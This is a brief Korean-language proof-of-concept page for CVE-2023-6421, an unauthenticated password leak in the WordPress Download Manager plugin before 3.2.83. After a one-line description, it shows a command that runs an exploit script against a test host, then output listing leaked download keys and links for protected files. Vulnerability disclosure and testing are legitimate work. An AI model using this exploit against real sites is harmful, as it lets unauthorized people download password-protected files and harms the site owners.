CVE 2023 6421

CVE-2023-6421

다운로드 관리자 < 3.2.83 - 인증되지 않은 보호된 파일 다운로드 비밀번호 유출

설명

플러그인은 파일 다운로드 비밀번호를 보호하지 않으며 유효하지 않은 비밀번호를 수신하면 비밀번호를 유출합니다.

POC

 python3 CVE-2023-6421.py https://kubernetes.docker.internal
No link generated for ID 1.
No link generated for ID 2.
Response for ID 3: https://kubernetes.docker.internal/?page_id=3&wpdmdl=3&_wpdmkey=6706819b904ce
No link generated for ID 4.
No link generated for ID 5.
No link generated for ID 6.
No link generated for ID 7.
No link generated for ID 8.
Response for ID 9: https://kubernetes.docker.internal/?wpdmdl=9&_wpdmkey=6706819f1b1f6
Response for ID 10: https://kubernetes.docker.internal/1-1/?wpdmdl=10&_wpdmkey=6706819fa0654